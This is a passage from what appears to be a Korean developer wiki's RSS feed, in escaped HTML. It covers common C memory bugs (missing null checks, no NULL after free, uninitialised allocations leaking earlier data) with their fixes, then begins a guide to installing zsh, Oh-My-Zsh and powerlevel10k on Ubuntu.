class=&quot;s&quot;&gt;&quot;p : %s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;p_equal_flag : %d&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p_equal_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;버그&lt;/strong&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt;char *p malloc 진행한 뒤 p에 대입연산자 (=) 로 문자열을 입력. &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy(p, &quot;hello\0world\0&quot;, 20);&lt;/code&gt; 써줘야 함&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;strcmp로 문자열을 비교. &lt;ul&gt; &lt;li&gt;널문자가 포함된 비교를 진행하기에 for문으로 하나하나 비교하거나 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcmp&lt;/code&gt;를 써야 함.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strncmp&lt;/code&gt; 또한 길이를 지정한다 하더라도 중간에 널 문자를 만나면 비교를 멈추기 때문에 사용하면 안됨.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;널검사-안한-포인터-사용&quot;&gt;널검사 안한 포인터 사용&lt;/h3&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; &lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_maxlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;버그&lt;/strong&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt;널검사 없이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen&lt;/code&gt; 함수를 사용함. &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;str1&lt;/code&gt; 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;str2&lt;/code&gt; 변수가 null 이면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen&lt;/code&gt; 함수에서 &lt;strong&gt;segmentation fault&lt;/strong&gt; 발생.&lt;/li&gt; &lt;li&gt;포인터를 참조할 때에는 항상 널검사 진행.&lt;/li&gt; &lt;li&gt;널검사를 하지않는 위험한 함수임을 주석 또는 doxygen을 통해 사전에 정의. - 외부에서 null 검사가 완료된 검증된 포인터만 사용할 수 있도록 함&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;버그는 아니지만 속도상의 문제 &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strlen&lt;/code&gt; 함수가 총 3번 동작함. 2번 동작하게끔 줄일 수 있음&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;free-후-널-초기화-미진행&quot;&gt;free 후 널 초기화 미진행&lt;/h3&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; &lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;test_t&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;initialize_test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;test_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;free_test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;test_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;test_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;initialize_test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// code&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;free_test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;initialize_test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;버그&lt;/strong&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;free&lt;/code&gt; 후 NULL 초기화를 하지 않아 이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;initialize_test&lt;/code&gt; 함수의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if (p == NULL)&lt;/code&gt; 구문에서 비정상 포인터를 걸러내지 못함. &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#define nullfree(p) if (p) { free(p); p = NULL; }&lt;/code&gt; 처럼 매크로를 free를 재정의해서 사용하면 좋음.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;댕글링-포인터를-만드는-행위&quot;&gt;댕글링 포인터를 만드는 행위&lt;/h3&gt; &lt;p&gt;&lt;a href=&quot;/wiki/cs/terms#댕글링-포인터&quot;&gt;링크 참조&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;변수-구조체-할당-시-초기화&quot;&gt;변수, 구조체, 할당 시 초기화&lt;/h3&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// code&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr1_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr1_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr1_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdf&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ptr1 addr : %x&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ptr1 : %s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8192&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;qwerqwer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ptr2 addr : %x&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ptr2 : %s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ptr2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ptr2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptr1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptr2&lt;/code&gt; 변수 동적할당 시 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memset&lt;/code&gt; 함수 등으로 메모리 초기화를 진행하지 않음.&lt;/p&gt; &lt;p&gt;코드 컴파일 후 실행 결과&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;ptr1 addr : 81da1920 ptr1 : asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdf ptr2 addr : 81da1920 ptr2 : qwerqwerasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdf &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptr2&lt;/code&gt; 변수 출력 시 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptr1&lt;/code&gt; 초기화하지 못한 ptr1의 뒷 문자가 출력됨. &lt;br /&gt; 만약 ptr1에 민감한 정보가 들어있다면 보안상의 문제가 발생할 수 있음.&lt;/p&gt; &lt;p&gt;따라서 알 수 있는 결과 : &lt;strong&gt;변수 선언 시 꼭 초기화를 진행하자.&lt;/strong&gt;&lt;/p&gt; </description><pubDate>Mon, 17 Jul 2023 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/lang/c/bug-code</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/lang/c/bug-code</guid> <category>c</category> <category>c</category> </item> <item><title>zsh 설치하기</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#ubuntu-zsh-install&quot;&gt;Ubuntu zsh install&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#oh-my-zsh-설치&quot;&gt;Oh-My-Zsh 설치&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#powerlevel10k-설치&quot;&gt;powerlevel10k 설치&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#p10k-테마-커스텀하기&quot;&gt;p10k 테마 커스텀하기&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#번외--full_icon에서-none_icon-으로-바꾸는-법&quot;&gt;번외 : full_icon에서 none_icon 으로 바꾸는 법&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#zshrc-파일-수정&quot;&gt;zshrc 파일 수정&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;ubuntu-zsh-install&quot;&gt;Ubuntu zsh install&lt;/h1&gt; &lt;hr /&gt; &lt;p&gt;아래 명령어로 zsh를 설치한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;zsh &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;아래 명령어로 현재 쉘 상태를 확인하고&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$SHELL&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chsh -s $(which zsh)&lt;/code&gt; 명령어를 통해 쉘을 zsh로 바꿔준다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chsh&lt;/code&gt; 명령어 사용 중 &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chsh:PAM authentication failed&lt;/code&gt;&lt;/strong&gt; 오류가 뜰 시 &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/pam.d/chsh&lt;/code&gt; 에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;auth_required pam_shell.so&lt;/code&gt; 부분을 주석처리한 후 &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chsh&lt;/code&gt; 명령어를 재실행한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; 에서 변경 진행해도 상관없다.&lt;/p&gt; &lt;p&gt;passwd 에서 쉘을 바꿔줄 경우 맨 마지막 부분의 쉘경로를&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/zsh&lt;/code&gt;로 변경해주면 된다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table 